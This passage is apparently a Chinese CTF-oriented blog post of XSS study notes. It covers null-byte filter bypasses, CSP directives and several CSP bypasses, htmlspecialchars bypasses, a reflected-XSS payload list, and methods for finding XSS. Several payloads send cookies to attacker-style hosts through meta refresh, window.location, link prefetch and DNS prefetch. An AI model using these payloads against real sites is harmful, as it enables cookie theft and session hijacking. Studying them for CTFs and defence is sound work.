http://xsst.sinaapp.com/utf-32-1.php?charset=utf-32&v=%E2%88%80%E3%B8%80%E3%B0%80script%E3%B8%80alert(1)%E3%B0%80/script%E3%B8%80

上面这个在IE9及以下版本可以执行成功。

利用0字节绕过:

1
2
3
<scri%00pt>alert(1);</scri%00pt>
<scri\x00pt>alert(1);</scri%00pt>
<s%00c%00r%00%00ip%00t>confirm(0);</s%00c%00r%00%00ip%00t>

绕过CSP

CSP介绍

一个CSP头由多组CSP策略组成,中间由分号分隔,就像这样:

1
Content-Security-Policy: default-src 'self' www.baidu.com; script-src 'unsafe-inline'

其中每一组策略包含一个策略指令和一个内容源列表

一、常用的策略指令:

  • default-src

default-src 指令定义了那些没有被更精确指令指定的安全策略。这些指令包括:

  • child-src

  • connect-src

  • font-src

  • img-src

  • media-src

  • object-src

  • script-src

  • style-src

  • script-src

script-src定义了页面中Javascript的有效来源

  • style-src

style-src定义了页面中CSS样式的有效来源

  • img-src

img-src定义了页面中图片和图标的有效来源

  • font-src

font-src定义了字体加载的有效来源

  • connect-src

connect-src定义了请求、XMLHttpRequest、WebSocket 和 EventSource 的连接来源。

  • child-src

child-src 指定定义了 web workers 以及嵌套的浏览上下文(如frame和frame)的源。

二、内容源:

内容源有三种:源列表、关键字和数据

  • 源列表

源列表是一个字符串,指定了一个或多个互联网主机(通过主机名或 IP 地址),和可选的或端口号。站点地址可以包含可选的通配符前缀 (星号, ‘‘),端口号也可以使用通配符 (同样是 ‘‘) 来表明所有合法端口都是有效来源。主机通过空格分隔。
有效的主机表达式包括:
http://*.foo.com (匹配所有使用 http协议加载 foo.com 任何子域名的尝试。)
mail.foo.com:443 (匹配所有访问 mail.foo.com 的 443 端口 的尝试。)
https://store.foo.com (匹配所有使用 https协议访问 store.foo.com 的尝试。)
如果端口号没有被指定,浏览器会使用指定协议的默认端口号。如果协议没有被指定,浏览器会使用访问该文档时的协议。

  • 关键字
    • ‘none’
      代表空集;即不匹配任何 URL。两侧单引号是必须的。
    • ‘self’
      代表和文档同源,包括相同的 URL 协议和端口号。两侧单引号是必须的。
    • ‘unsafe-inline’
      允许使用内联资源,如内联的script元素、javascript: URL、内联的事件处理函数和内联的style元素,两侧单引号是必须的。
    • ‘unsafe-eval’
      允许使用 eval() 等通过字符串创建代码的方法。两侧单引号是必须的。
1
Content-Security-Policy: default-src 'self' trustedscripts.foo.com
  • 数据
    • data:
      允许data: URI作为内容来源。
    • mediastream:
      允许mediastream: URI作为内容来源。
1
Content-Security-Policy: default-src 'self'; img-src 'self' data:; media-src mediastream:

绕过CSP的几种方式

一、url跳转

在default-src ‘none’的情况下,可以使用meta标签实现跳转

1
<meta http-equiv="refresh" content="1;url=http://www.xss.com/x.php?c=[cookie]" >

在允许unsafe-inline的情况下,可以用window.location,或者window.open之类的方法进行跳转绕过。

1
2
3
<script>
window.location="http://www.xss.com/x.php?c=[cookie]";
</script>

二、link标签预加载

CSP对link标签的预加载功能考虑不完善。
在Chrome下,可以使用如下标签发送cookie(最新版Chrome会禁止)

1
<link rel="prefetch" href="http://www.xss.com/x.php?c=[cookie]">

在Firefox下,可以将cookie作为子域名,用dns预解析的方式把cookie带出去,查看dns服务器的日志就能得到cookie

1
<link rel="dns-prefetch" href="//[cookie].xxx.ceye.io">

三、利用浏览器补全

有些网站限制只有某些脚本才能使用,往往会使用script标签的nonce属性,只有nonce一致的脚本才生效,比如CSP设置成下面这样:

1
Content-Security-Policy: default-src 'none';script-src 'nonce-abc'

那么当脚本插入点为如下的情况时

1
2
<p>插入点</p>
<script id="aa" nonce="abc">document.write('CSP');</script>

可以插入

1
<script src=//14.rs a="

这样会拼成一个新的script标签,其中的src可以自由设定

1
2
<p><script src=//14.rs a="</p>
<script id="aa" nonce="abc">document.write('CSP');</script>

四、代码重用

Blackhat2017上有篇ppt总结了可以被用来绕过CSP的一些JS库。
例如假设页面中使用了Jquery-mobile库,并且CSP策略中包含”script-src ‘unsafe-eval’”或者”script-src ‘strict-dynamic’”,那么下面的向量就可以绕过CSP:

1
<div data-role=popup id='<script>alert(1)</script>'></div>

在这个PPT之外的还有一些库也可以被利用,例如RCTF2018中遇到的amp库,下面的标签可以获取名字为FLAG的cookie

1
<amp-pixel src="http://your domain/?cid=CLIENT_ID(FLAG)"></amp-pixel>  

五、iframe

1.如果页面A中有CSP限制,但是页面B中没有,同时A和B同源,那么就可以在A页面中包含B页面来绕过CSP:

1
<iframe src="B"></iframe>

2.在Chrome下,iframe标签支持csp属性,这有时候可以用来绕过一些防御,例如”http://xxx"页面有个js库会过滤XSS向量,我们就可以使用csp属性来禁掉这个js库。

1
<iframe csp="script-src 'unsafe-inline'" src="http://xxx"></iframe>

六、meta标签

meta标签有一些不常用的功能有时候有奇效:
meta可以控制缓存(在header没有设置的情况下),有时候可以用来绕过CSP nonce。

1
<meta http-equiv="cache-control" content="public">

meta可以设置Cookie(Firefox下),可以结合self-xss利用。

1
<meta http-equiv="Set-Cookie" Content="cookievalue=xxx;expires=Wednesday,21-Oct-98 16:14:21 GMT; path=/">

绕过htmlspecialchars()实体编码

如果输出在在 input 标签中,可以用

1
2
'oninput=alert`1`
'oninput=alert`1`' 在input中输入内容时触发事件
1
2
'onchange=alert`1` 发生改变的时候触发该事件
'onchange=alert`1`'

why?因为htmlspecialchars()默认不过滤单引号

只有设置了:quotestyle 选项为ENT_QUOTES才会过滤单引号

script 中 直接使用alert

https://blog.csdn.net/qq_14989227/article/details/76160172

https://www.cnblogs.com/xishaonian/p/7196604.html

0x07 XSS漏洞挖掘

挖掘XSS漏洞,大部分都是靠自动化工具和一些手动挖掘,手动挖掘主要是浏览器bug,字符集问题

1)反射型XSS漏洞挖掘

反射型XSS攻击者可控的输入点有 path query fragment,而fragment很少会有

看一个普通的URL

http://www.foo.com/xss.php?id=1 ,如果攻击者进行XSS测试,将下面的payload分别添加到id=1

1
2
3
4
5
6
7
8
9
10
11
12
13
14
<script>alert(1</script>
'"><script>alert(1)</script>
<img src=@ onerror=alert(1) />
'"><img/src=@ onerror=alert(1)/>
' onmouseover=alert(1) x= '
" onmouseover=alert(1) x="
` onmouseover=alert(1) x= `
javascript:alert(1)//
data:text&sol;html;&Tab;base64&NewLine;,PGJvZHkgb25sb2FkPWFsZXJ0KDEpPg==
'";alert(1)//
</script><script>alert(1)
}x:expression(alert(1))
alert(1)//
*/-->'"</iframe></script></style></title></textarea></xmp></noscript></noframes></plaintext><script>alert(1)</script>

​ 然后根据请求后的反应来看是否有弹窗或者引起浏览器脚本错误,如果出现这些情况,几乎可以判断是存在XSS漏洞的

主要是看代码出现的位置

2)存储型XSS漏洞挖掘

存储型XSS挖掘与反射型XSS挖掘的内容也大同小异,不过这里一般是表单的提交,然后进入服务端存储中,最终会在某个页面输出.这个过程最难的就是”输出”

  • 表单提交后跳转到的页面有可能是输出点
  • 表单所在的页面有可能就是输出点
  • 表单提交后不见了,然后就要整个网站去找目标输出点

3)DOM型XSS漏洞挖掘

输入点(sources)和输出点(sinks)

挖掘方法又静态方法和动态方法

静态方法就是使用正则表达式来匹配,动态方法就是利用浏览器的动态.

这部分内容有点难以理解,我可能也用不到太多.不做过多的总结,需要时Google.

0x08 XSS在CTF中应用

XSS在CTF中,一般就是用来窃取cookie/session 一些简单的题目,可能会在cookie中就含有flag

并且一般的XSS平台都会有相应的payload

最主要的考察就是XSS绕过,以及bypass CSP,以及 XSS,CSRF,SSRF的综合应用.

这里放两个WP学习

TCTF/0CTF2018 XSS Writeup

ddctf 两道web题的Writeup (sqli & xss)

等我后面写了XSS的题目,就放一个WP在这里

0x09 总结

关于XSS漏洞的东西其实还有很多,而且各自奇怪的XSS payload也很多.要做到举一反三,确实,很难…

所以就多见识一点,多具体应用实操,熟悉了也就差不多懂了

最重要的还是在代码层面上,理解漏洞原理.比如构造闭合,绕过这些,都是代码层面的思路

0x10 参考资料

0x11 最后

关于这篇XSS笔记,会持续更新,改进,扩展内容

Author: m0nk3y
Link: https://hack-for.fun/418.html
Copyright Notice: All articles in this blog are licensed under CC BY-NC-SA 4.0 unless stating additionally.